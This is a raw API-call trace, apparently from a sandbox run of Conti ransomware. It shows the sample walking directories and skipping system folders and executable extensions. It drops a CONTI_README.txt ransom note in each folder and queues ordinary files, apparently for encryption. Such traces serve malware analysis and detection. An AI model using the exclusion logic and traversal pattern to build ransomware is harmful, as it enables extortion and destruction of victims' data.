	[0093.949] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.949] FindNextFileW (in: hFindFile=0x175e570, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.949] GetProcessHeap () returned 0x1720000
	[0093.949] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734900 | out: hHeap=0x1720000) returned 1
	[0093.949] FindClose (in: hFindFile=0x175e570 | out: hFindFile=0x175e570) returned 1
	[0093.949] GetProcessHeap () returned 0x1720000
	[0093.949] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e4f0 | out: hHeap=0x1720000) returned 1
	[0093.949] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Client", cAlternateFileName="")) returned 1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2=".") returned 1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="..") returned 1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="tmp") returned -1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="winnt") returned -1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="Application Data") returned 1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="AppData") returned 1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="temp") returned -1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="thumb") returned -1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="$Recycle.Bin") returned 1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="$RECYCLE.BIN") returned 1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="System Volume Information") returned -1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="Program Files") returned -1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="Program Files (x86)") returned -1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="Boot") returned 1
	[0093.949] lstrcmpiW (lpString1="Client", lpString2="Windows") returned -1
	[0093.949] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.949] lstrlenW (lpString="Client") returned 6
	[0093.950] GetProcessHeap () returned 0x1720000
	[0093.950] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734438
	[0093.950] lstrcpyW (in: lpString1=0x1734438, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.950] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.950] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Client" | out: lpString1="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client"
	[0093.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client") returned 28
	[0093.950] GetProcessHeap () returned 0x1720000
	[0093.950] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3e) returned 0x17346c0
	[0093.950] lstrcpyW (in: lpString1=0x17346c0, lpString2="C:\\588bce7c90097ed212\\Client" | out: lpString1="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client"
	[0093.950] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\Client\\*") returned="C:\\588bce7c90097ed212\\Client\\*"
	[0093.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client") returned 28
	[0093.950] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.950] GetProcessHeap () returned 0x1720000
	[0093.950] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5c) returned 0x17c0718
	[0093.950] lstrcpyW (in: lpString1=0x17c0718, lpString2="C:\\588bce7c90097ed212\\Client" | out: lpString1="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client"
	[0093.950] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\"
	[0093.950] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\Client\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\Client\\CONTI_README.txt"
	[0093.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\client\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.956] GetProcessHeap () returned 0x1720000
	[0093.956] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0718 | out: hHeap=0x1720000) returned 1
	[0093.956] WriteFile (in: hFile=0x320, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.957] CloseHandle (hObject=0x320) returned 1
	[0093.957] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bd6bb87, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e4b0
	[0093.965] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.965] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bd6bb87, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.965] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.965] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.965] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bd6bb87, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bd6bb87, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bd91d86, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.965] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.965] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.965] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.965] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.966] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0093.966] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2=".") returned 1
	[0093.966] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="..") returned 1
	[0093.966] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".CONTI") returned 0x0
	[0093.966] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.966] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".exe") returned 0x0
	[0093.966] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".dll") returned 0x0
	[0093.966] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".lnk") returned 0x0
	[0093.966] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".sys") returned 0x0
	[0093.966] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".CONTI") returned 0x0
	[0093.966] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client") returned 28
	[0093.966] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0093.966] GetProcessHeap () returned 0x1720000
	[0093.966] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17c0d30
	[0093.966] lstrcpyW (in: lpString1=0x17c0d30, lpString2="C:\\588bce7c90097ed212\\Client" | out: lpString1="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client"
	[0093.966] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\"
	[0093.966] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client\\", lpString2="Parameterinfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml"
	[0093.966] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5658) returned 1
	[0093.966] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0093.966] lstrcmpiW (lpString1="UiInfo.xml", lpString2=".") returned 1
	[0093.966] lstrcmpiW (lpString1="UiInfo.xml", lpString2="..") returned 1
	[0093.966] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".CONTI") returned 0x0
	[0093.966] StrStrIW (lpFirst="UiInfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.966] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".exe") returned 0x0
	[0093.966] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".dll") returned 0x0
	[0093.966] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".lnk") returned 0x0
	[0093.966] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".sys") returned 0x0
	[0093.966] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".CONTI") returned 0x0
	[0093.966] StrStrIW (lpFirst="UiInfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client") returned 28
	[0093.966] lstrlenW (lpString="UiInfo.xml") returned 10
	[0093.966] GetProcessHeap () returned 0x1720000
	[0093.966] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17c7248
	[0093.966] lstrcpyW (in: lpString1=0x17c7248, lpString2="C:\\588bce7c90097ed212\\Client" | out: lpString1="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client"
	[0093.967] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\"
	[0093.967] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client\\", lpString2="UiInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml"
	[0093.967] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2f90) returned 1
	[0093.967] FindNextFileW (in: hFindFile=0x175e4b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0093.967] GetProcessHeap () returned 0x1720000
	[0093.967] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17346c0 | out: hHeap=0x1720000) returned 1
	[0093.967] FindClose (in: hFindFile=0x175e4b0 | out: hFindFile=0x175e4b0) returned 1
	[0093.970] GetProcessHeap () returned 0x1720000
	[0093.970] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734438 | out: hHeap=0x1720000) returned 1
	[0093.970] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b64b06e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b64b06e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b64b06e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.970] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.970] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.970] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.970] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.970] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0093.970] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2=".") returned 1
	[0093.970] lstrcmpiW (lpString1="DHtmlHeader.html", lpString2="..") returned 1
	[0093.970] StrStrIW (lpFirst="DHtmlHeader.html", lpSrch=".CONTI") returned 0x0
	[0093.970] StrStrIW (lpFirst="DHtmlHeader.html", lpSrch="CONTI_README.txt") returned 0x0
	[0093.970] StrStrIW (lpFirst="DHtmlHeader.html", lpSrch=".exe") returned 0x0
	[0093.970] StrStrIW (lpFirst="DHtmlHeader.html", lpSrch=".dll") returned 0x0
	[0093.970] StrStrIW (lpFirst="DHtmlHeader.html", lpSrch=".lnk") returned 0x0
	[0093.970] StrStrIW (lpFirst="DHtmlHeader.html", lpSrch=".sys") returned 0x0
	[0093.970] StrStrIW (lpFirst="DHtmlHeader.html", lpSrch=".CONTI") returned 0x0
	[0093.970] StrStrIW (lpFirst="DHtmlHeader.html", lpSrch="CONTI_README.txt") returned 0x0
	[0093.970] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.970] lstrlenW (lpString="DHtmlHeader.html") returned 16
	[0093.970] GetProcessHeap () returned 0x1720000
	[0093.970] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x17c0550
	[0093.970] lstrcpyW (in: lpString1=0x17c0550, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.971] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.971] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="DHtmlHeader.html" | out: lpString1="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html"
	[0093.971] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d28b8) returned 1
	[0093.971] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0093.971] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2=".") returned 1
	[0093.971] lstrcmpiW (lpString1="DisplayIcon.ico", lpString2="..") returned 1
	[0093.971] StrStrIW (lpFirst="DisplayIcon.ico", lpSrch=".CONTI") returned 0x0
	[0093.971] StrStrIW (lpFirst="DisplayIcon.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.971] StrStrIW (lpFirst="DisplayIcon.ico", lpSrch=".exe") returned 0x0
	[0093.971] StrStrIW (lpFirst="DisplayIcon.ico", lpSrch=".dll") returned 0x0
	[0093.971] StrStrIW (lpFirst="DisplayIcon.ico", lpSrch=".lnk") returned 0x0
	[0093.971] StrStrIW (lpFirst="DisplayIcon.ico", lpSrch=".sys") returned 0x0
	[0093.971] StrStrIW (lpFirst="DisplayIcon.ico", lpSrch=".CONTI") returned 0x0
	[0093.971] StrStrIW (lpFirst="DisplayIcon.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.971] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.971] lstrlenW (lpString="DisplayIcon.ico") returned 15
	[0093.971] GetProcessHeap () returned 0x1720000
	[0093.971] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x1732540
	[0093.971] lstrcpyW (in: lpString1=0x1732540, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.971] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.971] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="DisplayIcon.ico" | out: lpString1="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned="C:\\588bce7c90097ed212\\DisplayIcon.ico"
	[0093.971] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2b00) returned 1
	[0093.971] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Extended", cAlternateFileName="")) returned 1
	[0093.971] lstrcmpiW (lpString1="Extended", lpString2=".") returned 1
	[0093.971] lstrcmpiW (lpString1="Extended", lpString2="..") returned 1
	[0093.971] lstrcmpiW (lpString1="Extended", lpString2="tmp") returned -1
	[0093.971] lstrcmpiW (lpString1="Extended", lpString2="winnt") returned -1
	[0093.971] lstrcmpiW (lpString1="Extended", lpString2="Application Data") returned 1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="AppData") returned 1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="temp") returned -1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="thumb") returned -1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="$Recycle.Bin") returned 1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="$RECYCLE.BIN") returned 1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="System Volume Information") returned -1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="Program Files") returned -1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="Program Files (x86)") returned -1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="Boot") returned 1
	[0093.972] lstrcmpiW (lpString1="Extended", lpString2="Windows") returned -1
	[0093.972] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.972] lstrlenW (lpString="Extended") returned 8
	[0093.972] GetProcessHeap () returned 0x1720000
	[0093.972] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3e) returned 0x1734a68
	[0093.972] lstrcpyW (in: lpString1=0x1734a68, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.972] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.972] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Extended" | out: lpString1="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended"
	[0093.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended") returned 30
	[0093.972] GetProcessHeap () returned 0x1720000
	[0093.972] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x42) returned 0x173d0a8
	[0093.972] lstrcpyW (in: lpString1=0x173d0a8, lpString2="C:\\588bce7c90097ed212\\Extended" | out: lpString1="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended"
	[0093.972] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\*") returned="C:\\588bce7c90097ed212\\Extended\\*"
	[0093.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended") returned 30
	[0093.972] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.972] GetProcessHeap () returned 0x1720000
	[0093.972] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c07e8
	[0093.972] lstrcpyW (in: lpString1=0x17c07e8, lpString2="C:\\588bce7c90097ed212\\Extended" | out: lpString1="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended"
	[0093.972] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\"
	[0093.972] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\Extended\\CONTI_README.txt"
	[0093.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.982] GetProcessHeap () returned 0x1720000
	[0093.982] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c07e8 | out: hHeap=0x1720000) returned 1
	[0093.982] WriteFile (in: hFile=0x348, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.983] CloseHandle (hObject=0x348) returned 1
	[0093.983] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bdb811e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x175e4f0
	[0093.983] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.983] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bdb811e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0093.983] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.983] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.983] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bdb811e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bdb811e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bdb811e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.983] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.983] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
